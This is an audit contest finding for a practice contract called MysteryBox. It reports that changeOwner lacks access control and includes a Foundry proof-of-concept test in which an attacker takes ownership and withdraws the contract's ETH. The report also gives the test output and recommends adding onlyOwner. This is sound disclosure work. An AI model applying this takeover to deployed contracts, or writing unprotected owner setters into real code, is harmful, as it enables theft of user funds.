Mystery Box

First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Unauthorized Ownership Change and Fund Withdrawal Exploit in MysteryBox.sol

Summary

The MysteryBox contract contains a critical access control vulnerability allowing unauthorized users to change the contract's ownership and withdraw all its funds. This vulnerability poses a significant threat to the integrity and security of the contract.

Vulnerability Details

The changeOwner changeOwner MysteryBox contract does not have any access control mechanism, enabling any address to change the owner of the contract. Without the onlyOwner modifier, unauthorized users can gain control over the contract and perform sensitive functions such as withdrawing funds.

POC

  • Copy this code in a test folder: MysteryBox/test/ChangeOwnerTest.t.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "forge-std/console.sol";
import "../src/MysteryBox.sol";
contract MysteryBoxExploitTest is Test {
MysteryBox mysteryBox;
address public owner;
address public attacker;
function setUp() public {
owner = address(this); // Set the test contract as the owner
attacker = address(1); // Set an attacker address
console.log("Deploying MysteryBox contract");
// Deploy the MysteryBox contract with the required initial ETH
mysteryBox = new MysteryBox{value: 0.1 ether}();
}
function testExploitChangeOwner() public {
console.log("Initial owner of the contract:", mysteryBox.owner());
// Attacker attempting to change ownership
vm.startPrank(attacker);
mysteryBox.changeOwner(attacker);
vm.stopPrank();
console.log("New owner of the contract should be the attacker:", mysteryBox.owner());
// Check that the attacker is now the owner
assertEq(mysteryBox.owner(), attacker, "Ownership should be changed to the attacker");
// Further exploits can be carried out now that the attacker is the owner
console.log("Attempting to withdraw funds as the new owner");
// Attacker can withdraw funds
uint256 initialAttackerBalance = attacker.balance;
vm.startPrank(attacker);
mysteryBox.withdrawFunds();
vm.stopPrank();
uint256 finalAttackerBalance = attacker.balance;
console.log("Attacker's balance before withdraw:", initialAttackerBalance);
console.log("Attacker's balance after withdraw:", finalAttackerBalance);
// Uncomment below if you want to assert the balance changes
// assertEq(finalAttackerBalance - initialAttackerBalance, 0.1 ether, "Attacker should have withdrawn the contract funds");
}
}

Output:

Ran 1 test for test/ChangeOwnerTest.t.sol:ChangeOwnerTest
[PASS] testExploitChangeOwner() (gas: 63435)
Logs:
Deploying MysteryBox contract
Initial owner of the contract: 0x7FA9385bE1023EAc297483Dd6233D62b3e1496
New owner of the contract should be the attacker: 0x0000000000000000000000000000000000000001
Attempting to withdraw funds as the new owner
Attacker's balance before withdraw: 0
Attacker's balance after withdraw: 100000000000000000

Impact

  • Unauthorized Ownership Changes: Any user can become the owner of the contract without permission.

  • Full Fund Withdrawal: The malicious owner can withdraw all funds from the contract.

  • Potential Further Exploitation: Any other owner-restricted functionalities are open to misuse.

Tools Used

  • Foundry

Recommendations

  • Implement access control using the onlyOwner onlyOwner Ownable contract to restrict sensitive functions.

Updates

Appeal created

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Anyone can change owner

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!